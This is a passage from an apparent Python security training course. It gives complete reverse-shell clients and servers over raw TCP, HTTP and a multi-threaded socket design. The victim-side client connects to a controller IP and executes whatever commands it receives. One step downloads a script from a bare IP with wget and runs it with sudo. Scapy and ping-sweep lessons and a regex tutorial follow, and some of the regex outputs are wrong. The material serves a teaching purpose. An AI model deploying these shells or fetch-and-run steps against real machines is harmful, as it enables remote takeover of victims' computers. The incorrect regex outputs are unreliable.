1467 conn, addr = s.accept()
1468 print '[+] We got a connection from: ', addr
1469
1470
1471 while True:
1472 command = raw_input("Shell> ")
1473
1474 if 'terminate' in command:
1475 conn.send('termminate')
1476 conn.close() # close the connection with host
1477 break
1478
1479 else:
1480 conn.send(command) #send command
1481 print conn.recv(1024)
1482
1483def main ():
1484 connect()
1485main()
1486
1487----------------------------------------------------------------------
1488
1489- First run server.py code from Ubuntu machine. From command line type:
1490
1491---------------------------Type This-----------------------------------
1492
1493python server.py
1494
1495----------------------------------------------------------------------
1496
1497- then check if 8080 port is open, and if we are listening on 8080:
1498
1499---------------------------Type This-----------------------------------
1500
1501netstat -antp | grep "8080"
1502
1503----------------------------------------------------------------------
1504
1505- Then on victim ( Windows ) unit run client.py code.
1506
1507
1508- Connection will be established, and you will get a shell on Ubuntu:
1509
1510---------------------------Type This-----------------------------------
1511
1512infosecaddicts@ubuntu:~$ python server.py
1513[+] We got a connection from: ('192.168.243.1', 56880)
1514Shell> arp -a
1515
1516Shell> ipconfig
1517
1518Shell> dir
1519----------------------------------------------------------------------
1520
1521
1522##########################################
1523# HTTP based reverse shell in Python 2.7 #
1524##########################################
1525
1526
1527- The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
1528- Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
1529
1530Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
1531
1532- Install requests package:
1533---------------------------Type This-----------------------------------
1534
1535 python -m pip install requests
1536
1537----------------------------------------------------------------------
1538
1539- Copy and paste below code into client_http.py on your Windows machine:
1540
1541- In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
1542
1543---------------------------Paste This-----------------------------------
1544# Client
1545
1546import requests
1547import subprocess
1548import time
1549
1550
1551while True:
1552 req = requests.get('http://192.168.243.150')
1553 command = req.text
1554
1555 if 'terminate' in command:
1556 break
1557
1558 else:
1559 CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1560 post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
1561 post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
1562
1563 time.sleep(3)
1564
1565
1566
1567
1568----------------------------------------------------------------------
1569
1570
1571
1572- Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
1573
1574
1575---------------------------Paste This-----------------------------------
1576
1577import BaseHTTPServer
1578HOST_NAME = '192.168.243.150'
1579PORT_NUMBER = 80
1580class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
1581
1582 def do_GET(s):
1583 command = raw_input("Shell> ")
1584 s.send_response(200)
1585 s.send_header("Content-type", "text/html")
1586 s.end_headers()
1587 s.wfile.write(command)
1588
1589
1590 def do_POST(s):
1591 s.send_response(200)
1592 s.end_headers()
1593 length = int(s.headers['Content-Length'])
1594 postVar = s.rfile.read(length)
1595 print postVar
1596
1597if __name__ == '__main__':
1598 server_class = BaseHTTPServer.HTTPServer
1599 httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
1600
1601 try:
1602 httpd.serve_forever()
1603 except KeyboardInterrupt:
1604 print'[!] Server is terminated'
1605 httpd.server_close()
1606
1607----------------------------------------------------------------------
1608
1609- run server_HTTP.py on Ubuntu with next command:
1610
1611---------------------------Type This-----------------------------------
1612
1613infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1614
1615----------------------------------------------------------------------
1616
1617
1618- on Windows machine run client_http.py
1619
1620- on Ubuntu you will see that connection is established:
1621
1622---------------------------Type This-----------------------------------
1623
1624infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1625Shell> dir
1626----------------------------------------------------------------------
1627
1628192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
1629192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
1630 Volume in drive C has no label.
1631
1632
1633############################################
1634# Multi-Threaded Reverse Shell in Python 3 #
1635############################################
1636
1637
1638- We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
1639
1640Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
1641
1642
1643Server.py code:
1644---------------------------Paste This-----------------------------------
1645
1646import socket
1647import sys
1648
1649# Create socket (allows two computers to connect)
1650
1651def socket_create():
1652 try:
1653 global host
1654 global port
1655 global s
1656 host = ''
1657 port = 9999
1658 s = socket.socket()
1659 except socket.error as msg:
1660 print("Socket creation error: " + str(msg))
1661
1662# Bind socket to port and wait for connection from client
1663def socket_bind():
1664 try:
1665 global host
1666 global port
1667 global s
1668 print("Binding socket to port: " + str(port))
1669 s.bind((host,port))
1670 s.listen(5)
1671 except socket.error as msg:
1672 print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
1673 socket_bind()
1674
1675# Establish a connection with client (socket must be listening for them)
1676def socket_accept():
1677 conn, address = s.accept()
1678 print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
1679 send_commands(conn)
1680 conn.close()
1681
1682
1683# Send commands
1684def send_commands(conn):
1685 while True:
1686 cmd = raw_input() #input() is changed to raw_input() in order to work on python2.7
1687 if cmd == 'quit':
1688 conn.close()
1689 s.close()
1690 sys.exit()
1691 if len(str.encode(cmd))>0:
1692 conn.send(str.encode(cmd))
1693 client_response = str(conn.recv(1024)) # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
1694 print(client_response)
1695
1696# References for str.encode/decode
1697# https://www.tutorialspoint.com/python/string_encode.htm
1698# https://www.tutorialspoint.com/python/string_decode.htm
1699
1700
1701def main():
1702 socket_create()
1703 socket_bind()
1704 socket_accept()
1705
1706main()
1707
1708
1709
1710----------------------------------------------------------------------
1711
1712
1713-After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
1714
1715Client.py code:
1716
1717---------------------------Paste This-----------------------------------
1718
1719import os
1720import socket
1721import subprocess
1722
1723s = socket.socket()
1724host = '192.168.243.150' # change to IP address of your server
1725port = 9999
1726s.connect((host, port))
1727
1728while True:
1729 data = s.recv(1024)
1730 if data[:2].decode("utf-8") == 'cd':
1731 os.chdir(data[3:].decode("utf-8"))
1732 if len(data) > 0:
1733 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1734 output_bytes = cmd.stdout.read() + cmd.stderr.read()
1735 output_str = str(output_bytes) # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
1736 s.send(str.encode(output_str + str(os.getcwd()) + '> '))
1737 print(output_str)
1738# References for str.encode/decode
1739# https://www.tutorialspoint.com/python/string_encode.htm
1740# https://www.tutorialspoint.com/python/string_decode.htm
1741
1742# Close connection
1743s.close()
1744
1745
1746----------------------------------------------------------------------
1747
1748---------------------------Type This-----------------------------------
1749
1750python client.py
1751----------------------------------------------------------------------
1752
1753- Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
1754
1755---------------------------Type This-----------------------------------
1756
1757infosecaddicts@ubuntu:~$ python server.py
1758
1759----------------------------------------------------------------------
1760
1761Binding socket to port: 9999
1762Connection has been established | IP 192.168.243.1 | Port 57779
1763dir
1764 Volume in drive C has no label.
1765
1766
1767 Directory of C:\Python27
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779###############################
1780# Lesson 21: Installing Scapy #
1781###############################
1782
1783---------------------------Type This-----------------------------------
1784
1785sudo apt-get update
1786sudo apt-get install python-scapy python-pyx python-gnuplot
1787
1788----------------------------------------------------------------------
1789
1790Reference Page For All Of The Commands We Will Be Running:
1791http://samsclass.info/124/proj11/proj17-scapy.html
1792
1793Great slides for Scapy:
1794http://www.secdev.org/conf/scapy_csw05.pdf
1795
1796
1797
1798
1799To run Scapy interactively
1800---------------------------Type This-----------------------------------
1801
1802 sudo scapy
1803
1804----------------------------------------------------------------------
1805
1806
1807################################################
1808# Lesson 22: Sending ICMPv4 Packets with scapy #
1809################################################
1810
1811In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
1812
1813---------------------------Type This-----------------------------------
1814
1815 i = IP()
1816
1817----------------------------------------------------------------------
1818
1819
1820
1821This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
1822
1823---------------------------Type This-----------------------------------
1824
1825 i.display()
1826
1827----------------------------------------------------------------------
1828
1829
1830
1831Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
1832
1833---------------------------Type This-----------------------------------
1834
1835 i.dst="10.65.75.49"
1836
1837 i.display()
1838
1839
1840----------------------------------------------------------------------
1841
1842
1843Notice that scapy automatically fills in your machine's source IP address.
1844
1845Use these commands to create an object named ic of type ICMP and display its properties:
1846
1847---------------------------Type This-----------------------------------
1848
1849 ic = ICMP()
1850
1851 ic.display()
1852
1853
1854----------------------------------------------------------------------
1855
1856
1857
1858Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
1859
1860---------------------------Type This-----------------------------------
1861
1862 sr1(i/ic)
1863
1864----------------------------------------------------------------------
1865
1866
1867
1868
1869This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
1870
1871The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
1872
1873Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
1874
1875---------------------------Type This-----------------------------------
1876
1877 sr1(i/ic/"YOUR NAME")
1878
1879----------------------------------------------------------------------
1880
1881You should see a reply with a Raw section containing your name.
1882
1883
1884
1885##############################################
1886# Lesson 23: Sending a UDP Packet with Scapy #
1887##############################################
1888
1889
1890Preparing the Target
1891
1892---------------------------Type This-----------------------------------
1893
1894$ ncat -ulvp 4444
1895
1896----------------------------------------------------------------------
1897
1898
1899
1900--open another terminal--
1901In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
1902
1903---------------------------Type This-----------------------------------
1904
1905
1906 u = UDP()
1907
1908 u.display()
1909
1910----------------------------------------------------------------------
1911
1912
1913This creates an object named u of type UDP, and displays its properties.
1914
1915Execute these commands to change the destination port to 4444 and display the properties again:
1916
1917---------------------------Type This-----------------------------------
1918
1919 i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
1920
1921 u.dport = 4444
1922
1923 u.display()
1924
1925----------------------------------------------------------------------
1926
1927
1928Execute this command to send the packet to the Windows machine:
1929
1930---------------------------Type This-----------------------------------
1931
1932 send(i/u/"YOUR NAME SENT VIA UDP\n")
1933
1934----------------------------------------------------------------------
1935
1936
1937On the Windows target, you should see the message appear
1938
1939
1940
1941
1942#######################################
1943# Lesson 24: Ping Sweeping with Scapy #
1944#######################################
1945
1946---------------------------Paste This-----------------------------------
1947
1948
1949#!/usr/bin/python
1950from scapy.all import *
1951
1952TIMEOUT = 2
1953conf.verb = 0
1954for ip in range(0, 256):
1955 packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
1956 # You will need to change 10.10.30 above this line to the subnet for your network
1957 reply = sr1(packet, timeout=TIMEOUT)
1958 if not (reply is None):
1959 print reply.dst, "is online"
1960 else:
1961 print "Timeout waiting for %s" % packet[IP].dst
1962
1963----------------------------------------------------------------------
1964
1965
1966###############################################
1967# Checking out some scapy based port scanners #
1968###############################################
1969
1970---------------------------Type This-----------------------------------
1971
1972wget http://45.63.104.73/rdp_scan.py
1973
1974cat rdp_scan.py
1975
1976sudo python rdp_scan.py
1977
1978----------------------------------------------------------------------
1979
1980######################################
1981# Dealing with conf.verb=0 NameError #
1982######################################
1983
1984---------------------------Type This-----------------------------------
1985
1986conf.verb = 0
1987NameError: name 'conf' is not defined
1988
1989Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
1990
1991from scapy import *
1992 to
1993from scapy.all import *
1994
1995
1996
1997
1998Reference:
1999http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
2000
2001
2002conf.verb=0 is a verbosity setting (configuration/verbosity = conv
2003
2004
2005
2006Here are some good Scapy references:
2007http://www.secdev.org/projects/scapy/doc/index.html
2008http://resources.infosecinstitute.com/port-scanning-using-scapy/
2009http://www.hackerzvoice.net/ouah/blackmagic.txt
2010http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023#######################
2024# Regular Expressions #
2025#######################
2026
2027
2028
2029**************************************************
2030* What is Regular Expression and how is it used? *
2031**************************************************
2032
2033
2034Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
2035
2036
2037Regular expressions use two types of characters:
2038
2039a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
2040
2041b) Literals (like a,b,1,2…)
2042
2043
2044In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
2045
2046
2047Use this code --> import re
2048
2049
2050
2051
2052The most common uses of regular expressions are:
2053--------------------------------------------------
2054
2055- Search a string (search and match)
2056- Finding a string (findall)
2057- Break string into a sub strings (split)
2058- Replace part of a string (sub)
2059
2060
2061
2062Let's look at the methods that library "re" provides to perform these tasks.
2063
2064
2065
2066****************************************************
2067* What are various methods of Regular Expressions? *
2068****************************************************
2069
2070
2071The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
2072
2073re.match()
2074re.search()
2075re.findall()
2076re.split()
2077re.sub()
2078re.compile()
2079
2080Let's look at them one by one.
2081
2082
2083re.match(pattern, string):
2084-------------------------------------------------
2085
2086This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
2087
2088Code
2089---------------------------Type This-----------------------------------
2090
2091import re
2092result = re.match(r'AV', 'AV Analytics ESET AV')
2093print result
2094----------------------------------------------------------------------
2095
2096Output:
2097<_sre.SRE_Match object at 0x0000000009BE4370>
2098
2099Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
2100
2101---------------------------Type This-----------------------------------
2102
2103result = re.match(r'AV', 'AV Analytics ESET AV')
2104print result.group(0)
2105----------------------------------------------------------------------
2106
2107Output:
2108AV
2109
2110
2111Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
2112
2113
2114Code
2115---------------------------Type This-----------------------------------
2116
2117result = re.match(r'Analytics', 'AV Analytics ESET AV')
2118print result
2119----------------------------------------------------------------------
2120
2121
2122Output:
2123None
2124
2125
2126There are methods like start() and end() to know the start and end position of matching pattern in the string.
2127
2128Code
2129---------------------------Type This-----------------------------------
2130
2131result = re.match(r'AV', 'AV Analytics ESET AV')
2132print result.start()
2133print result.end()
2134----------------------------------------------------------------------
2135
2136Output:
21370
21382
2139
2140Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
2141
2142
2143
2144
2145
2146re.search(pattern, string):
2147-----------------------------------------------------
2148
2149
2150It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
2151
2152Code
2153---------------------------Type This-----------------------------------
2154
2155result = re.search(r'Analytics', 'AV Analytics ESET AV')
2156print result.group(0)
2157----------------------------------------------------------------------
2158
2159Output:
2160Analytics
2161
2162Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
2163
2164
2165
2166
2167
2168
2169re.findall (pattern, string):
2170------------------------------------------------------
2171
2172
2173It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
2174
2175
2176Code
2177---------------------------Type This-----------------------------------
2178
2179result = re.findall(r'AV', 'AV Analytics ESET AV')
2180print result
2181----------------------------------------------------------------------
2182
2183Output:
2184['AV', 'AV']
2185
2186
2187
2188
2189
2190re.split(pattern, string, [maxsplit=0]):
2191------------------------------------------------------
2192
2193
2194
2195This methods helps to split string by the occurrences of given pattern.
2196
2197
2198Code
2199---------------------------Type This-----------------------------------
2200
2201result=re.split(r'y','Analytics')
2202result
2203 ----------------------------------------------------------------------
2204
2205Output:
2206['Anal', 'tics']
2207
2208Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
2209
2210
2211Code
2212---------------------------Type This-----------------------------------
2213
2214result=re.split(r's','Analytics eset')
2215print result
2216----------------------------------------------------------------------
2217
2218Output:
2219['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
2220
2221
2222
2223Code
2224---------------------------Type This-----------------------------------
2225
2226result=re.split(r's','Analytics eset',maxsplit=1)
2227result
2228----------------------------------------------------------------------
2229
2230Output:
2231[]
2232
2233
2234
2235
2236
2237re.sub(pattern, repl, string):
2238----------------------------------------------------------
2239
2240It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
2241
2242Code
2243---------------------------Type This-----------------------------------
2244
2245result=re.sub(r'Ruby','Python','Joe likes Ruby')
2246result
2247----------------------------------------------------------------------
2248
2249Output:
2250''
2251
2252
2253
2254
2255
2256re.compile(pattern, repl, string):
2257----------------------------------------------------------
2258
2259
2260We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
2261
2262
2263Code
2264---------------------------Type This-----------------------------------
2265
2266import re
2267pattern=re.compile('XSS')
2268result=pattern.findall('XSS is Cross Site Scripting, XSS')
2269print result
2270result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
2271print result2
2272----------------------------------------------------------------------
2273
2274Output:
2275['XSS', 'XSS']
2276['XSS']
2277
2278Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
2279
2280This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
2281
2282
2283
2284
2285
2286**********************************************
2287* What are the most commonly used operators? *
2288**********************************************
2289
2290
2291Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
2292
2293Operators Description
2294. Matches with any single character except newline ‘\n'.
2295? match 0 or 1 occurrence of the pattern to its left
2296+ 1 or more occurrences of the pattern to its left
2297* 0 or more occurrences of the pattern to its left
2298\w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
2299\d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
2300\s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
2301\b boundary between word and non-word and /B is opposite of /b
2302[..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
2303\ It is used for special meaning characters like \. to match a period or \+ for plus sign.
2304^ and $ ^ and $ match the start or end of the string respectively
2305{n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
2306a| b Matches either a or b
2307( ) Groups regular expressions and returns matched text
2308\t, \n, \r Matches tab, newline, return
2309
2310
2311For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
2312
2313Now, let's understand the pattern operators by looking at the below examples.
2314
2315
2316
2317****************************************
2318* Some Examples of Regular Expressions *
2319****************************************
2320
2321******************************************************
2322* Problem 1: Return the first word of a given string *
2323******************************************************
2324
2325
2326Solution-1 Extract each character (using "\w")
2327---------------------------------------------------------------------------
2328
2329Code
2330---------------------------Type This-----------------------------------
2331
2332import re
2333result=re.findall(r'.','Python is the best scripting language')
2334print result
2335----------------------------------------------------------------------
2336
2337Output:
2338['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2339
2340
2341Above, space is also extracted, now to avoid it use "\w" instead of ".".
2342
2343
2344Code
2345---------------------------Type This-----------------------------------
2346
2347result=re.findall(r'\w','Python is the best scripting language')
2348print result
2349----------------------------------------------------------------------
2350
2351Output:
2352['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2353
2354
2355
2356
2357Solution-2 Extract each word (using "*" or "+")
2358---------------------------------------------------------------------------
2359
2360Code
2361---------------------------Type This-----------------------------------
2362
2363result=re.findall(r'\w*','Python is the best scripting language')
2364print result
2365----------------------------------------------------------------------
2366
2367Output:
2368['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
2369
2370
2371Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
2372
2373Code
2374---------------------------Type This-----------------------------------
2375
2376result=re.findall(r'\w+','Python is the best scripting language')
2377print result
2378----------------------------------------------------------------------
2379
2380Output:
2381['Python', 'is', 'the', 'best', 'scripting', 'language']
2382
2383
2384
2385
2386Solution-3 Extract each word (using "^")
2387-------------------------------------------------------------------------------------
2388
2389
2390Code
2391---------------------------Type This-----------------------------------
2392
2393result=re.findall(r'^\w+','Python is the best scripting language')
2394print result
2395----------------------------------------------------------------------
2396
2397Output:
2398['Python']
2399
2400If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
2401
2402Code
2403---------------------------Type This-----------------------------------
2404
2405result=re.findall(r'\w+$','Python is the best scripting language')
2406print result
2407----------------------------------------------------------------------
2408
2409Output:
2410[‘language']
2411
2412
2413
2414
2415
2416**********************************************************
2417* Problem 2: Return the first two character of each word *
2418**********************************************************
2419
2420
2421
2422
2423Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
2424------------------------------------------------------------------------------------------------------
2425
2426Code
2427---------------------------Type This-----------------------------------
2428
2429result=re.findall(r'\w\w','Python is the best')
2430print result
2431----------------------------------------------------------------------
2432
2433Output:
2434['Py', 'th', 'on', 'is', 'th', 'be', 'st']
2435
2436
2437
2438
2439
2440Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
2441------------------------------------------------------------------------------------------------------
2442
2443Code
2444---------------------------Type This-----------------------------------
2445
2446result=re.findall(r'\b\w.','Python is the best')
2447print result
2448----------------------------------------------------------------------
2449
2450Output:
2451['Py', 'is', 'th', 'be']
2452
2453
2454
2455
2456
2457
2458********************************************************
2459* Problem 3: Return the domain type of given email-ids *
2460********************************************************
2461
2462
2463To explain it in simple manner, I will again go with a stepwise approach:
2464
2465
2466
2467
2468
2469Solution-1 Extract all characters after "@"
2470------------------------------------------------------------------------------------------------------------------
2471
2472Code
2473---------------------------Type This-----------------------------------
2474
2475result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2476print result
2477----------------------------------------------------------------------
2478
2479Output: ['@gmail', '@test', '@strategicsec', '@rest']
2480
2481
2482
2483Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
2484
2485---------------------------Type This-----------------------------------
2486
2487result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2488print result
2489----------------------------------------------------------------------
2490
2491Output:
2492['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
2493
2494
2495
2496
2497
2498
2499Solution – 2 Extract only domain name using "( )"
2500-----------------------------------------------------------------------------------------------------------------------
2501
2502
2503Code
2504---------------------------Type This-----------------------------------
2505
2506result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2507print result
2508----------------------------------------------------------------------
2509
2510Output:
2511['com', 'com', 'com', 'biz']
2512
2513
2514
2515
2516
2517
2518********************************************
2519* Problem 4: Return date from given string *
2520********************************************
2521
2522
2523Here we will use "\d" to extract digit.
2524
2525
2526Solution:
2527----------------------------------------------------------------------------------------------------------------------
2528
2529Code
2530---------------------------Type This-----------------------------------
2531
2532result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2533print result
2534----------------------------------------------------------------------
2535
2536Output:
2537['12-05-2007', '11-11-2016', '12-01-2009']
2538
2539If you want to extract only year again parenthesis "( )" will help you.
2540
2541
2542Code
2543
2544---------------------------Type This-----------------------------------
2545
2546result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2547print result
2548----------------------------------------------------------------------
2549
2550Output:
2551['2007', '2016', '2009']
2552
2553
2554
2555
2556
2557*******************************************************************
2558* Problem 5: Return all words of a string those starts with vowel *
2559*******************************************************************
2560
2561
2562
2563
2564Solution-1 Return each words
2565-----------------------------------------------------------------------------------------------------------------
2566
2567Code
2568---------------------------Type This-----------------------------------
2569
2570result=re.findall(r'\w+','Python is the best')
2571print result
2572----------------------------------------------------------------------
2573
2574Output:
2575['Python', 'is', 'the', 'best']
2576
2577
2578
2579
2580
2581Solution-2 Return words starts with alphabets (using [])
2582------------------------------------------------------------------------------------------------------------------
2583
2584Code
2585---------------------------Type This-----------------------------------
2586
2587result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
2588print result
2589----------------------------------------------------------------------
2590
2591Output:
2592['ove', 'on']
2593
2594Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
2595
2596
2597
2598
2599
2600Solution- 3
2601------------------------------------------------------------------------------------------------------------------
2602
2603Code
2604---------------------------Type This-----------------------------------
2605
2606result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
2607print result
2608----------------------------------------------------------------------
2609
2610Output:
2611[]
2612
2613In similar ways, we can extract words those starts with constant using "^" within square bracket.
2614
2615
2616Code
2617---------------------------Type This-----------------------------------
2618
2619result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
2620print result
2621----------------------------------------------------------------------
2622
2623Output:
2624[' love', ' Python']
2625
2626Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
2627
2628
2629Code
2630---------------------------Type This-----------------------------------
2631
2632result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
2633print result
2634----------------------------------------------------------------------
2635
2636Output:
2637['love', 'Python']
2638
2639
2640
2641
2642
2643
2644*************************************************************************************************
2645* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
2646*************************************************************************************************
2647
2648
2649We have a list phone numbers in list "li" and here we will validate phone numbers using regular
2650
2651
2652
2653
2654Solution
2655-------------------------------------------------------------------------------------------------------------------------------------
2656
2657
2658Code
2659---------------------------Type This-----------------------------------
2660
2661import re
2662li=['9999999999','999999-999','99999x9999']
2663for val in li:
2664 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
2665 print 'yes'
2666 else:
2667 print 'no'
2668
2669----------------------------------------------------------------------
2670
2671Output:
2672yes
2673no
2674no
2675
2676
2677
2678
2679
2680******************************************************
2681* Problem 7: Split a string with multiple delimiters *
2682******************************************************
2683
2684
2685
2686Solution
2687---------------------------------------------------------------------------------------------------------------------------
2688
2689
2690Code
2691---------------------------Type This-----------------------------------
2692
2693import re
2694line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
2695result= re.split(r'[;,\s]', line)
2696print result
2697----------------------------------------------------------------------
2698
2699Output:
2700['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
2701
2702
2703
2704We can also use method re.sub() to replace these multiple delimiters with one as space " ".
2705
2706
2707Code
2708---------------------------Type This-----------------------------------
2709
2710import re
2711line = 'asdf fjdk;afed,fjek,asdf,foo'
2712result= re.sub(r'[;,\s]',' ', line)
2713print result
2714----------------------------------------------------------------------
2715
2716Output:
2717asdf fjdk afed fjek asdf foo
2718
2719
2720
2721
2722**************************************************
2723* Problem 8: Retrieve Information from HTML file *
2724**************************************************
2725
2726
2727
2728I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
2729
2730
2731
2732Create a file that contains the following data:
2733---------------------------Paste This-----------------------------------
2734
2735<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
2736<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
2737<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
2738<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
2739<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
2740<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
2741<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
2742----------------------------------------------------------------------
2743
2744Solution:
2745
2746
2747
2748Code
2749---------------------------Type This-----------------------------------
2750
2751f=open('file.txt', "r")
2752import re
2753str = f.read()
2754result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
2755print result
2756----------------------------------------------------------------------
2757
2758Output:
2759[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
2760
2761
2762
2763You can read html file using library urllib2 (see below code).
2764
2765
